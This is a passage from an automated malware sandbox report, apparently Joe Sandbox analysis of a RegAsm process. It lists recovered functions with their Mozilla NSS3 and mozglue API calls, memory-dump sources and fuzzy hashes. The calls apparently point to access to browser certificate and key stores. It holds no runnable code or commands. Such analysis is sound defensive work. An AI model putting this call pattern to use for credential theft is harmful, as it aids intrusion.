Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEE6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEE6EAA

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 4dc0ffb94d9cd808dc87e1463963c824ed6f7a7587212b6ad335b16b820f14fb
Instruction ID: 6b77f3d17775417e151015e9ee8cc39ef0f7fac71f916ec573bc0248bacb8a32
Opcode Fuzzy Hash: 4dc0ffb94d9cd808dc87e1463963c824ed6f7a7587212b6ad335b16b820f14fb
Instruction Fuzzy Hash: 9331B47161055AEBDB141E34D804396B7B8AB0939EF30063DD65AD6BE1EB30B654CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CEE2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE2E08

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEE2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEE2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEE2E95

Part of subcall function 6CED1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE788A4,00000000,00000000), ref: 6CED1228
Part of subcall function 6CED1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CED1238
Part of subcall function 6CED1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE788A4,00000000,00000000), ref: 6CED124B
Part of subcall function 6CED1200: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0,00000000,00000000,00000000,?,6CE788A4,00000000,00000000), ref: 6CED125D
Part of subcall function 6CED1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CED126F
Part of subcall function 6CED1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CED1280
Part of subcall function 6CED1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CED128E
Part of subcall function 6CED1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CED129A
Part of subcall function 6CED1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CED12A1

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 0e67d4e7148652b0157febd635058e7e395ff4851f41e281afda4e8dfad2002c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 56213BB1D003564BEB01CF949D447AA3774AFA538CF360269DD085B752F7B2E588C392

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE9ACC2

Part of subcall function 6CE72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE72F0A
Part of subcall function 6CE72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE72F1D

Part of subcall function 6CE72AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE70A1B,00000000), ref: 6CE72AF0
Part of subcall function 6CE72AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE72B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE9AD5E

Part of subcall function 6CEB57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE7B41E,00000000,00000000,?,00000000,?,6CE7B41E,00000000,00000000,00000001,?), ref: 6CEB57E0
Part of subcall function 6CEB57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEB5843

CERT_DestroyCertList.NSS3(?), ref: 6CE9AD36

Part of subcall function 6CE72F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE72F65
Part of subcall function 6CE72F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE72F83

free.MOZGLUE(?), ref: 6CE9AD4F

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c54dc59860bb6d58457a0f88cf732fcde4c5cc0d4fa7a757f87a55ef3c0b184b
Instruction ID: 93196895f2bea215add2c96c36378fa15a511bceb417dc57b667d642408b67aa
Opcode Fuzzy Hash: c54dc59860bb6d58457a0f88cf732fcde4c5cc0d4fa7a757f87a55ef3c0b184b
Instruction Fuzzy Hash: DA21A2B1D012189BEB10DF65D9065EEB7B4EF1521CF254068D809BB710FB31AA59CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CECECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CECF0AD,6CECF150,?,6CECF150,?,?,?), ref: 6CECECBA

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CECECD1

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CECED02

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CECED5A

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 7d178a60f2709f98c27c21d260feb2bb704d48652723dee6e3f312c0febc2187
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 2D21C2B1A01B425BE700CF25DA45B52BBF4AFA430CF25C219A81C87761E770E594C6D1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEFEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEE14

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

memcpy.VCRUNTIME140(?,?,6CEE9767,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEE33

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 2edbc47db330eddab4c6bd08cc39d9ca1f102d7e8510c94f1851e14b7061d3c6
Instruction ID: 081fb1b264accdc406786447e5ed3cf901b25e7e9102234af30848f67c038027
Opcode Fuzzy Hash: 2edbc47db330eddab4c6bd08cc39d9ca1f102d7e8510c94f1851e14b7061d3c6
Instruction Fuzzy Hash: 36117775A05B06ABD7109E65EC84B467378EB0435DF344535E92987B40E331F45687E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD6B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD6B4F5
AcquireSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD6B502
ReleaseSRWLockExclusive.KERNEL32(6CDDF4B8), ref: 6CD6B542
free.MOZGLUE(?), ref: 6CD6B578

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 7dd14641d9bf7a4938bca891504cb6a6364e68c25bb10a8afad757427ecc42ac
Instruction ID: a020773028e6d3adc9994f4fb35877c2649bcc6a449f519dc16edb6a430ea373
Opcode Fuzzy Hash: 7dd14641d9bf7a4938bca891504cb6a6364e68c25bb10a8afad757427ecc42ac
Instruction Fuzzy Hash: 0D11CD30E04B41E7E3218F2AC8007A1B3B8FF96319F14970AE98953E61EBB0B1C4D791

Uniqueness

Uniqueness Score: -1.00%

Function 6CE98DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE98DE7
EnterCriticalSection.KERNEL32 ref: 6CE98DFC
PR_Unlock.NSS3 ref: 6CE98E2D
PR_SetError.NSS3 ref: 6CE98E49

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 07dee5e37f0c2e9709cf17c10e890bc2588d2d47df8820ed7262346ee913609f
Instruction ID: 9d6eb7e272b6cfca998919f8fa9acfcb01d6b6f69641f17ea468c060fda3eaf0
Opcode Fuzzy Hash: 07dee5e37f0c2e9709cf17c10e890bc2588d2d47df8820ed7262346ee913609f
Instruction Fuzzy Hash: AD118F71A15A109FDB40AF78C44826ABBF4FF05318F11492AEC8997B00E730E894CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00417449 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0041746F

Part of subcall function 0041729B: __fltout2.LIBCMT ref: 004172C6

__cftog_l.LIBCMT ref: 00417495
__cftoe_l.LIBCMT ref: 004174C7

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 3410ff34f0349dd1c58687d266cae898af3b2efb65cb1d4d5ab81620492bf2e2
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 69114C3600414EBBCF126E95DC01CEE3F72BB1C354B59851AFE2859131D33AC9B2AB89

Uniqueness

Uniqueness Score: -1.00%

Function 6CF1AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CF05F17,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CF05F17,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1ACDB

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: d46e0fbe14fc7515d8aeeb303610f914f184c4875e5fdab64d291a4cbbb9999c
Instruction ID: 51cfa157cc7e127db9bd42b720664ee9fd6d0cde73a18b7f22d434713e1bbbe4
Opcode Fuzzy Hash: d46e0fbe14fc7515d8aeeb303610f914f184c4875e5fdab64d291a4cbbb9999c
Instruction Fuzzy Hash: 66015EB1B01B019BEB50DF3AE908753B7E8BF00699B104839D85AD3E00E731F159CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD93DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CD5F20E,?), ref: 6CD93DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CD5F20E,00000000,?), ref: 6CD93DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CD93E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CD93E0E

Part of subcall function 6CD8CC00: GetCurrentProcess.KERNEL32(?,?,6CD531A7), ref: 6CD8CC0D
Part of subcall function 6CD8CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CD531A7), ref: 6CD8CC16

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 30d0a8ce52a729640d9065ccc3b7ff715a821598c7c87c44dd2dca5702b93e51
Instruction ID: 5fae670dbc93dda4043ab401b4c5c9c74d399fa231c747572b6696833437e7b8
Opcode Fuzzy Hash: 30d0a8ce52a729640d9065ccc3b7ff715a821598c7c87c44dd2dca5702b93e51
Instruction Fuzzy Hash: F1F0FEB1A402087BEB00AB54DC81DAB376DDB86628F040020FE0857751D635BE5996F7

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6F9 Relevance: 6.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040E6FE
lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
lstrcpy.KERNEL32(00000000), ref: 0040E74D
lstrcat.KERNEL32(?,?), ref: 0040E758

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcatlstrcpylstrlen
String ID:
API String ID: 809291720-0
Opcode ID: d87c1be61d1551208b981d2929cbe353714934cbd12d3f2f7961d24f2f7e6869
Instruction ID: acf11ed45a559cf688e7fa865bc5bf81a07fdc9ed083ca4ac715e2631218f40e
Opcode Fuzzy Hash: d87c1be61d1551208b981d2929cbe353714934cbd12d3f2f7961d24f2f7e6869
Instruction Fuzzy Hash: C0011AB6900205EFCB20AF9AD88459AFBBAFF48314B10883EE569D3610C7B59990CB54

Uniqueness

Uniqueness Score: -1.00%

Function 6CF1AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CF05D40,00000000,?,?,6CEF6AC6,6CF0639C), ref: 6CF1AC2D

Part of subcall function 6CEBADC0: TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE10
Part of subcall function 6CEBADC0: EnterCriticalSection.KERNEL32(?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE24
Part of subcall function 6CEBADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE9D079,00000000,00000001), ref: 6CEBAE5A
Part of subcall function 6CEBADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE6F
Part of subcall function 6CEBADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE7F
Part of subcall function 6CEBADC0: TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEB1
Part of subcall function 6CEBADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEC9

PK11_FreeSymKey.NSS3(?,6CF05D40,00000000,?,?,6CEF6AC6,6CF0639C), ref: 6CF1AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CF05D40,00000000,?,?,6CEF6AC6,6CF0639C), ref: 6CF1AC59
free.MOZGLUE(8CB6FF01,6CEF6AC6,6CF0639C,?,?,?,?,?,?,?,?,?,6CF05D40,00000000,?,6CF0AAD4), ref: 6CF1AC62

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 6cbe13ceafc6507ff041c4da8f2ba9fd2ce81847caa685234ac5a3a913830f15
Instruction ID: 1a0bb2aa7df5fc5176a699b0e4614883b36afe346da80e065cf18c144a9c4721
Opcode Fuzzy Hash: 6cbe13ceafc6507ff041c4da8f2ba9fd2ce81847caa685234ac5a3a913830f15
Instruction Fuzzy Hash: E0014BB56046009FDF00DF15E9C0B56B7F8AF44B5CF188468E9499FB06E735E948CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF8CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF8CC61
free.MOZGLUE ref: 6CF8CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF8CC80
free.MOZGLUE(?), ref: 6CF8CC87

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 35e3fcd14e3a1caa46a6bf255182caa0b8734bb708f3c87ecbfd6b71e7cd71a2
Instruction ID: 19ae0842b4c09d704a0ab4a5b3d8f4b0053d09ce58da967075bd5525e11cd27c
